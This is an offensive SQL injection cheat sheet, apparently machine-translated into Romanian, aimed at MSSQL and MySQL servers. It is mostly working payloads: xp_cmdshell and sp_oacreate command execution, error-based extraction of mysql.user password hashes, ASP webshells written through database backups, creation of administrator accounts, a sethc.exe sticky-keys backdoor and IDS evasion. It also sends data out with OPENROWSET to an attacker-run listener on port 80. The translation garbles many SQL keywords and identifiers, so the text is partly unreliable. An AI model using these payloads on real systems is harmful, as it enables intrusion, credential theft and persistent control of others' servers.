; creează temperatura tabelului (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; inserați master.dbo.xp_blank>_availablemedia executiv temporar; – Obține toate unitățile curente
; inserează în temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Obține o listă de subdirectoare
; inserează în temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Obține structura arborelui de directoare pentru toate subdirectoarele,

Îmbină incii în tabelul de temperaturi
; inserează în temp(id) exec master.dbo.xp_blank>_cmdshell tipul C:\web\index.asp; – Vizualizează un fișier

Conținut
; inserați în temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\; –
; inserați în temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; inserează în temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Autoritatea aplicabilă

PUBLIC)
Scrie la masă:
afirmația 1: și 1=(Selectează IS_blank>_SRVROLEMEMBER(sysadmin)); –
Afirmația 2: și 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); –
Afirmația 3: și 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); –
Afirmația 4: și 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Afirmația 5: și 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Afirmația 6: și 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); –
Afirmația 7: și 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Afirmația 8: și 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Afirmația 9: și 1=(Selectează IS_blank>_MEMBER(db_blank>_owner)); –

Scrie calea către tabel:
; create table dirs(paths varchar(100), id int)–
; inserați dirs exec master.dbo.xp_blank>_dirtree c:\–
și 0<>(selectează căile top 1 din direcții)–
și 0<>(selectează căile top 1 din direcții unde căile care nu sunt în(@Inetpub))–
; Create Table dirs1(paths varchar(100), id int)–
; inserează regii executive master.dbo.xp_blank>_dirtree e:\web–
și 0<>(selectează căile top 1 din dirs1)–

Face backup _blank> bază de date într-un director web: Descarcă
; declarați @a sysname; set @a=db_blank>_name(); baza de date de backup @a pe disc=e:\web\down.bak; –

și 1=(Selectează numele top 1 din(Selectează top 12 id, nume din sysobjects unde xtype=char(85)) T

Comandă de ID Desc)
și 1=(Selectează Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) din sysobjects) Vezi și

Tabele conexe.
și 1=(selectează user_blank>_id din USER_blank>_LOGIN)
și 0=(selectează utilizatorul din USER_blank>_LOGIN unde utilizatorul>1)

-=- wscrip{filter}t.shell exemplu -=-
declară @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

declară @o int, @f int, @t int, @ret int
declară @line Varchar (8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, OpenTextFile, @f Out, C:\boot.ini, 1
Exec @ret = sp_blank>_oamethod @f, readline, @line out
în timp ce ( @ret = 0 )
Încep
Tipărirea @line
Exec @ret = sp_blank>_oamethod @f, readline, @line out
Sfârșit

declară @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

declară @o int, @ret int
executiv sp_blank>_oacreate speech.voicetext, @o încheiat
exec sp_blank>_oamethod @o, register, NULL, foo, bar
Executiv sp_blank>_oasetproperty @o, viteză, 150
exec sp_blank>_oamethod @o, vorbește, NULL, toate serverele tale sequel aparțin a,us, 528
așteptare întârziere 00:00:05

; declară @o INT, @ret INT executiv sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, vorbește, NULL, toate serverele tale sequel ne aparțin, 528 așteptare întârziere

00:00:05–

xp_blank>_dirtree permisiunea PUBLICĂ aplicabilă
exsecuție master.dbo.xp_blank>_dirtree c: Informațiile returnate au două câmpuri: subdirector, adâncime. Câmpurile subdirectorului

Tipul personajului, câmpul de adâncime este câmpul de modelare.
Create Table dirs(paths varchar(100), id int)
Structura tabelului, tabelul creat aici este legat de xp_blank>_dirtree de mai sus, cu câmpuri egale și același tip.
insert dirs exec master.dbo.xp_blank>_dirtree c: Atâta timp cât construim un tabel și definim în mod egal câmpurile returnate de procesul de stocare

Executați! Pentru a obține efectul scrierii tabelelor, pas cu pas pentru a obține informațiile pe care le dorim!
Această injecție de eroare se bazează în principal pe depășirea tipurilor de date Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    EROARE 1690 (22003): Valoarea BIGINT NESEMNATĂ este în afara intervalului în '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    EROARE 1690 (22003): BIGINT Valoarea NESEMNATĂ este în afara intervalului în '(- (1) *

9223372036854775808)'
Versiunea bazei de date de interogare:
    mysql> SELECT * 2 (dacă (((SELECT * din (SELECT (versiunea ()) ) s), 18446744073709551610,

18446744073709551610));
    EROARE 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if (( Select ' 5.5 ' de la

Dual), 18446744073709551610.18446744073709551610))'
Obține numele domeniului:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) ca '' limit 1)>(SELECT * de la

test.shop limită 1), 18446744073709551610, 18446744073709551610);

    EROARE 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if(((select

'articol', 'dealer', 'preț' de la (selectează 'test'.'shop'.'article' AS

'articol', 'test'.'magazin'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' de la

'test'.'shop') limită 1) > (select

'test'.'magazin'.'articol','test'.'magazin'.'dealer','test'.'magazin'.'preț' de la 'test'.'magazin' limită

1)),18446744073709551610,18446744073709551610))'
Obține valoarea terenului:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ca '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    EROARE 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if(((select

'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y',

Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '','', de la limita dublă 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Rețineți că această metodă nu funcționează cu versiunile mai vechi de Mysql și va trebui să cunoașteți limita de lungime a mesajului de eroare, deoarece aceasta va determina

Poți obține cât timp vrei:
    mysys / my_error.c

    /* Lungimea maximă a unui mesaj de eroare. Ar trebui să fie menținut sincronizat cu MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Dacă obiectul este MariaDB (un fork al Mysql), s-ar putea să vezi un mesaj de eroare ca acesta când încerci metoda de mai sus:

    mysql> SELECT 2*(if((SELECT * din (SELECT (versiune)))), 18446744073709551610,

18446744073709551610))
    ERAREA 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Ca soluție, această problemă poate fi rezolvată astfel:

    mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (versiune())i)a;
    EROARE 1690 (22003): Valoarea BIGINT este în afara intervalului în '(('5.5-MariaDB' nu este nul) - -

(9223372036854775808))'
Acum să vedem dacă putem face Vectorul nostru puțin mai scurt

//查询数据库版本

    SELECT 2*(if((SELECT * din (SELECT (versiune)))), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I NU ESTE NUL) - -9223372036854775808 DE LA (SELECT (versiune())i)a
    =
    select if(x,2,2)*1E308 din(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) ca '' limit 1)>(SELECT * from

test.shop limită 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ca '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

limită de utilizator mysql.0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| gazdă|| parolă|| file_priv de la (select*from mysql.user LIMIT

1) o limită 1),2,2)
//获取字段个数


    select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Alte deformări

    SELECT (I NU ESTE NUL) - -9223372036854775808 DE LA (SELECT (versiune())i)a
    select 1E308*if((select user|| gazdă|| parolă|| file_priv de la (select*from mysql.user LIMIT

1) o limită 1),2,2);
    =>
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> selectează (selectează * din mysql.user)=1;
    mysql> selectează (selectează * din mysql.user)in(1);

    ERAREA 1241 (21000): Operandul ar trebui să conțină 42 de coloane
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    select if((select user|| gazdă|| parolă|| file_priv de la (select*from mysql.user LIMIT 1)a

limită 1),2,2)*1E308
    SELECT (I NU ESTE NUL) - -9223372036854775808 DE LA (SELECT (versiune())i)a
    select (x!=0x00)--9223372036854775808 din(SELECT versiunea()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    EROARE 1690 (22003): BIGINT VALOAREA NESEMNATĂ este în afara intervalului în '((not('root@localhost')) - ~

(0))'
3. Judecați sistemul de baze de date
; și (select count(*) din sysobjects)>0 mssql
; și (select count(*) din msysobjects)>0 acces
4. Parametrul de injecție este un caracter
'și [criterii de interogare] și ''='
5. Nu există parametri filtrați în timpul căutării
'și [criterii de interogare] și '%25'='
6. Ghicește baza de date
; și (selectează Count(*) din [numele bazei de date])>0
7. Ghicește câmpul
; și (selectează Count(numele câmpului) din numele bazei de date)>0
8. Ghicește lungimea discului pe teren
; și (selectează top 1 LEN (numele câmpului) din numele bazei de date)>0
9. (1) Ghicește valoarea ASCII a câmpului (acces)
; și (selectează top 1 asc(mid(numele câmpului, 1,1)) din numele bazei de date)>0
(2) Ghicește valoarea ASCII a câmpului (mssql)
; și (selectează top 1 unicode(substring(numele câmpului, 1,1)) din numele bazei de date)>0
10. Structura permisiunilor de testare (mssql)
; și 1=(selectează IS_SRVROLEMEMBER('sysadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('serveradmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('setupadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('securityadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('diskadmin')); --
; și 1=(selectează IS_SRVROLEMEMBER('bulkadmin')); --
; și 1=(selectează IS_MEMBER('db_owner')); --
11. Adăugarea unui cont pentru mssql și sistem
; numele de utilizator master.dbo.sp_addlogin executiv; --
; exec master.dbo.sp_password null, username, parolă; --
; nume de utilizator de administrator master.dbo.sp_addsrvrolemember executiv; --
; EXEC master.dbo.xp_cmdshell 'WEB username password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; Exec master.dbo.xp_cmdshell 'WEB User Name Parolă /Add'; --
; exec master.dbo.xp_cmdshell 'Administrator Net LocalGroup UserName /Add'; --
12. (1) Parcurge catalogul
; Create Table dirs(paths varchar(100), id int)
; Inserați directorii executivi master.dbo.xp_dirtree 'C:\'
; și (selectează căile top 1 din direcții)>0
; și (selectați căile top 1 din direcții unde căile care nu sunt în ('căi obținute din pasul anterior)))>)
(2) Parcurge catalogul
; creează temperatura tabelului (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; inserați executivul temporar master.dbo.xp_availablemedia; -- Ia toate unitățile curente
; inserați în temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obține o listă cu subdirectoarele
; inserați în temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Obține structura arborelui de directoare pentru toate subdirectoarele
; inserați în temp(id) exec master.dbo.xp_cmdshell 'Type C:\web\index.asp'; -- Vizualizarea conținutului fișierului
13. Proceduri stocate în mssql
xp_regenumvalues Cheia rădăcină a registrului, cheia copil
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' și altele

Metoda recordet-ului pentru a returna toate valorile cheie
xp_regread Cheia rădăcină, cheia copil, numele cheie-valoare
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' returnează valoarea cheii de formulare
xp_regwrite Cheia rădăcină, cheia copil, numele valorii, tipul valorii, valoarea
Există două tipuri de valori REG_SZ REG_DWORD pentru tipurile de caractere și pentru numere întregi
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sunt scrise în registru
xp_regdeletevalue Cheia rădăcină, subcheia, numele valorii
executive xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName' pentru a elimina o valoare
xp_regdeletekey tasta 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' șterge,

Include toate valorile sub acea cheie
14. MSSQL Backup creează un webshell
Folosește modelul
Create Table cmd(str image);
inserați în cmd(str) valori ('<% Dim oscrip{filter}t %>');
Backup model de bază de date pe disc='c:\l.asp';
15. Funcții încorporate MSSQL
; și (selectează @@version)>0 pentru a obține numărul versiunii de Windows
; și user_name()='dbo' pentru a determina dacă utilizatorul conectat al sistemului curent este SA
; și (selectează user_name())>0 A explodat utilizatorii conectați ai sistemului curent
; și (selectați db_name())>0 pentru a obține baza de date conectată în prezent
16. Webshell concis
Folosește modelul
Create Table cmd(str image);
inserează în cmd(str) valori ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
Backup model de bază de date pe disc='g:\wwwtest\l.asp';
Când ceri, folosește ceva de genul acesta:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Obține toate numele bazelor de date, inclusiv bazele de date ale sistemului
–SELECT numele FROM master.dbo.sysdatabases

Obține toate numele bazelor de date non-sistemului
–selectează [nume] din master.dbo.sysdatabases unde DBId>6 Ordonează după [Nume]

Obține toate informațiile, inclusiv adresa fișierului din baza de date
–select * din master.dbo.sysdatabases unde DBId>6 Ordonează după

[Nume]



Această interogare a instrucțiunilor returnează toate tabelele utilizatorilor

selectează * din sysobjects unde xtype='u'


Interoghează toate informațiile din tabelele de date din sistem

selectează * din sysobjects



Uită-te la numele mașinii
select * din sys.servers





Cuprinsul coloanelor
Executiv master.dbo.xp_subdirs 'C:\'


Executiv master.dbo.xp_dirtree 'C:',1,1 db_owner
Permisiunile pot fi aplicate


executiv master.dbo.xp_dirtree 'c:/Program Files',1,1





Cod de program, scris pe webshell


executiv master.dbo.xp_subdirs 'd:\web\www.xx.com';
Executiv sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Execută-l pe maestre.. xp_enumgroups  


Utilizatori ai sistemului Traverse


Execută-l pe maestre.. xp_getnetname
Obține numele actual al mașinii


--Listează unitățile fixe de pe server, împreună cu spațiul disponibil pentru fiecare unitate
   dbo public


executare

xp_ntsec_enumdomains


--
Creează un cont pentru a te conecta la MSSQL
Numele master.dbo.sp_addlogin executiv, Pass; --






--
Listează numele de domeniu al serverului
xp_ntsec_enumdomains //
Nume de mașină //dbo public


--
Oprește sau pornește un serviciu
xp_servicecontrol 'stop', 'schedule' //schedule este numele serviciului //dbo


--Folosește pid

Oprirea unui program care se execută
xp_terminate_process 123 //123 este PID-ul //dbo


--
Sunt listate doar subdirectoarele dintr-un director
dbo.xp_subdirs 'C:' //dbo


SQL Server
Metoda de deschidere a xp_cmdshell în 2005
EXECUTIVE sp_configure 'afișează opțiuni avansate', 1; RECONFIGUREAZĂ; EXECUTIV

sp_configure 'xp_cmdshell', 1; RECONFIGUREAZĂ;

SQL2005 Deschide 'OPENROWSET'
Metode suportate:
Executiv sp_configure 'Afișează opțiuni avansate', 1; RECONFIGUREAZĂ; executiv sp_configure 'Ad Hoc

Interogări distribuite',1; RECONFIGUREAZĂ;

SQL2005 pentru a permite suportul "sp_oacreate":
Executiv sp_configure 'Afișează opțiuni avansate', 1; RECONFIGUREAZĂ; Executiv

sp_configure 'Proceduri vechi de automatizare',1; RECONFIGURARE





Cum să activezi xp_cmdshell în SQL Server 2008


-- Pentru a permite schimbarea opțiunilor avansate.
EXECUTIV

sp_configure 'afișează opțiuni avansate', 1
DU-TE
-- Pentru a actualiza valoarea configurată în prezent pentru

Opțiuni avansate.
RECONFIGURARE
DU-TE
-- Pentru a activa funcția.
EXECUTIV sp_configure 'xp_cmdshell', 1
DU-TE
-- Către

Actualizează valoarea configurată în prezent pentru această funcție.
RECONFIGURARE
DU-TE


exec xp_cmdshell 'ipconfig'



Astăzi, am vrut să schimb parola de autentificare SA a serverului de baze de date, dar am uitat brusc, așa că a trebuit să deschid analizorul de interogări cu ajutorul altor conturi pentru a schimba parola SA

Este foarte simplu:


Execuție:
sp_password Null, 'teracypwd', 'sa'
Setează parola SA la "teracypwd"


După execuția cu succes

Există "Comanda(e) finalizate cu succes."  OK!








În permisiunea DB, separă metoda de obținere a IP-ului serverului de bază de date MSSQL


1. NC local ascultă NC - VVLP 80


2.; inserează în

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Adresă=IP-ul tău, 80; ', 'selectează * de la

dest_table') selectează * din src_table; --


selectează * din openrowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','selectează utilizatorul; ')





Import și export de baze de date

/*不同服务器数据库之间的数据操作*/

--Creează server de legătură
Executiv sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Nume server la distanță sau adresă IP'
executiv sp_addlinkedsrvlogin 'ITSV', 'fals

',null, 'username', 'parolă'

--exemplu de interogare
select * din ITSV.database name.dbo.table name

--exemplu de import
selectează *

în tabel din ITSV.databasename.dbo.tablename

--Șterge serverul legat dacă acesta nu va mai fi folosit în viitor
executiv sp_dropserver 'ITSV',

"droplogins"

--
Conectarea la date remote/LAN (openrowset/openquery/opendatasource)
--1、openrowset

--exemplu de interogare
selectează *

from openrowset( 'SQLOLEDB', 'nume server SQL'; "Nume de utilizator"; 'parolă', nume baza de date.dbo.numele tabelului)

--
Generează un tabel local
selectează * în tabel din openrowset( 'SQLOLEDB', 'SQL Server Name'; "Nume de utilizator"; 'Parolă', număr

Conform numelui bazei de date.dbo. numele tabelului)

--
Importă tabelul local în tabelul de la distanță
inserează openrowset( 'SQLOLEDB', 'nume server SQL'; "Nume de utilizator"; "Parole", baze de date

name.dbo.table name)
selectează *din tabelul local

--
Actualizarea tabelelor locale
Actualizare B
setarea b. coloana A = a
from openrowset( 'SQLOLEDB', 'nume server SQL'; "Nume de utilizator"; '

parolă ', numele bazei de date .dbo.table name) ca tabelă locală Inner Join B
pe a.coloană1=b.coloană1

--openquery
Utilizarea necesită crearea unei conexiuni

--Mai întâi, creează o conexiune pentru a crea un server de legături
executiv sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'nume server la distanță sau adresă IP'
--Întreabă
selectează *
FROM OpenQuery(ITSV, 'SELECT * FROM date

library.dbo.table name ')
--
Importă tabelul local în tabelul de la distanță
inserează openquery(ITSV, 'SELECT * FROM database.dbo.table name')
selectează * din local

Tabel
--actualizează tabelul local
Actualizare B
setarea b. coloana B=a
FROM OpenQuery(ITSV, 'SELECT * FROM database.dbo.tablename')

ca un  
tabelul local de jungere interioară b pe a. coloana A=b. coloana A

--3、OpenDataSource/OpenRowSet
SELECT *
DE LA   

opendatasource( 'SQLOLEDB', 'Data Source=ip/NumeServer; ID utilizator=Nume de autentificare; Parolă=Parolă '

).test.dbo.roy_ta
--
Importă tabelul local în tabelul de la distanță



Ștergerea și restaurarea xp_cmdshell


Modalități de recuperare xp_cmdshell   
Șterge procedura extinsă stocată xp_cmdshell

Enunțat   
Executiv sp_dropextendedproc 'xp_cmdshell'   



Recuperează instrucțiunea sql a cmdshell   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Executiv

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) de la

master.dbo.sysobjects unde xtype='x' și   
Rezultatul de retur este 1 și este OK   


Altfel, trebuie să încarci c:\inetput\web

\xplog70.dll mai târziu   
Executiv master.dbo.sp_addextendedproc 'xp_cmdshell', 'c:\inetput\web\xplog70.dll

’; --   



Dacă îl ștergi în următorul mod   
Procedura de sp_addextendedproc   
Procedura de cădere sp_oacreate   
Executiv

sp_dropextendedproc 'xp_cmdshell'   



O poți restaura cu următoarea afirmație   
DBCC AddExtendedProc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Astfel, poate fi restaurat direct, indiferent dacă sp_addextendedproc există sau nu






1、
Folosește xp_cmdshell:
          Exec master.dbo.xp_cmdshell "Administrator Administrator Utilizator Net / Add"
          Executiv

master.dbo.xp_cmdshell "administratori de grup local net admin /add"

În xp_cmdshell caz, folosește sp_oacreate pentru a urma sp_oamethod:
          declare @object int   
          Executiv

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          sp_oamethod executiv

@object,'Run',NULL,'administrator utilizator net admin /add'
          exec sp_oamethod @object,'Run',NULL,'net

localgroup Administratori admin /add'

Notă: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Folosește sp_oacreate și FSO
          declară @o int
          Executiv sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          declară @oo int
          Executiv

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Executiv sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dll cache\sethc.exe';

Folosește xp_regwrite (db_owner, repornire necesară):
          master.dbo.xp_regwrite executiv

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','admin utilizator net admin /add'
          master.dbo.xp_regwrite executiv

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administratori admin /add'
5. Folosiți sp_add_job:
          Executiv

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Folosește MSDB Executive sp_delete_job

null,'x'
          Executiv sp_add_job 'X'
          sp_add_jobstep executiv

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          Executiv sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Mulți SA au reușit în multe mașini folosind direct modul sandbox, dar eu nu am exersat niciodată și nu știu care este rata de succes. Când extensia este îndepărtată, mai întâi

Restaurează stocarea de citire și scriere în registru.
DBCC AddExtendedProc ('xp_regread','xpstar.dll')
dbcc addextendedproc

("xp_regwrite'', 'xpstar.dll')



S-a reparat modul protejat al sandbox-ului
Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --



Vezi dacă valoarea 'SandBoxMode' a ajuns la 0.


executiv master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



În final, apelați modul sandbox
selectează * din openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')







Dacă modul de protecție sandbox nu este "oprit", se raportează o eroare:
          Chelner: Msg 7357, Nivel 16, Stare 2, Linia 1

Nu am gestionat obiectul 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB oferă programe

Prefața 'microsoft.jet.oledb.4.0' indică faptul că nu există coloane în obiect.

Urmărirea erorilor OLE DB [Eroare non-interfață: furnizorul OLE DB nu poate procesa obiectul, deoarece obiectul

are nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Dacă .mdb nu există sau calea de intrare este incorectă
           Chelner: Msg 7399, Nivelul 16, State 1, Linia 1

OLE DB provider 'microsoft.jet.oledb.4.0' eroare.
            [Furnizorul OLE/DB a returnat mesajul:

Fișierul 'C:\WINDOWS\system32\ias\dnary1.mdb' nu a fost găsit. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returnat

0x80004005: ]。


3. Dacă există mai multe spații în timpul procesului de intrare, va fi raportată și o eroare. Acordă o atenție specială acestui aspect, mulți oameni caută direct articole online

Lipiți-l și executați-l.
          Chelner: Msg 7357, Nivel 16, Stare 2, Linia 1
          A eșuat procesarea obiectului 'select

shell("cmd.exe /c net user user passwd /add")'。
Furnizorul OLE DB 'microsoft.jet.oledb.4.0' afirmă că nu există coloane în obiect.

Urmărirea erorilor OLE DB [Eroare non-interfață:
Furnizorul OLE DB nu poate procesa obiectul, deoarece obiectul are

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Dacă permisiunile mdb și permisiunile cmd.exe sunt greșite, problema va apărea și ea.
          Când permisiunile MDB sunt incorecte,
           Server: Elimină

Interes 7320, Nivelul 16, Statul 2, Linia 1

Nu putea răspunde
Furnizorul OLE DB 'Microsoft.Jet.OLEDB.4.0' execută interogarea.
           [Furnizorul OLE/DB revenit

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Dacă permisiunea netului este incorectă, nu există niciun prompt.

Ultima modalitate de a crește autoritatea este încărcarea ias.mdb și cmd.exe sistemului sub directorul web actual, net.exe trei fișiere.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe utilizator utilizator passwd /add")')
          Adăugarea cu succes a unui utilizator de calculator.






Divizarea cmdshell ocolește IDS         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
declară

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Editare shift de deturnare a registrului
Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe în'; --



Interoghează serverul de linkuri
alege

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,acces la date de la master.dbo.sysservers
alege

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,acces la date de la master.dbo.sysservers



Interogă linkserver2
selectează un nume gazdă distinct,db_name(dbid),net_address,loginame,program_name de la

Maestre.. sysprocesses



Interoghează serverul de linkuri
și alți utilizatori autentificați
select * din [192.168.1.1].master.dbo.syslogins



Interogare linkserver
Toate bazele de date
select * din linkedSrvWeb.master.dbo.sysdatabases



Efectuează stocare extinsă pe LinkServer
Executiv [IP].master.dbo.xp_cmdshell



Interoghează toate tabelele din serverul de linkuri
selectează * din [ip].master.dbo.sysobjects








selectează * din openrowset

('sqloledb','server=IP; uid=utilizator; pwd=parolă', 'select @@version')


select * din openquery([LINKSERVER

nume], 'selectează @@version')




select * din openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




select * din openquery(GM_SERVER,'select * din sysobjects unde xtype = (''U'')')


selectează * de la

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




selectează * din openquery(toatdeweb,'select

srvname de la master.dbo.sysservers')


inserează în opendatasource

('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu select

numele de la master.dbo.sysdatabases
creează baza de date hack520 Creează TABELUL zhu(numele nvarchar(256)

null); Create TABLE J8(id int NULL, name nvarchar(256) null);


select * din openquery

(toatdeweb, 'setează fmtonly off exec master.dbo.xp_cmdshell ''net user'')


Șec Teacher.. xp_dirtree

'c:\',1,1
Efectuează un director de interogare


executive links.master.. xp_cmdshell 'ipconfig'


select * din openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell 'ipconfig /all'')



Conectează mysql Select * din Mem_DB. UserDB.dbo.AdminList


ȘEF EXECUTIV... XP_dirtree 'c:\',1,1




Executiv

master.dbo.xp_cmdshell 'dir'


select count(*) din [indicate]
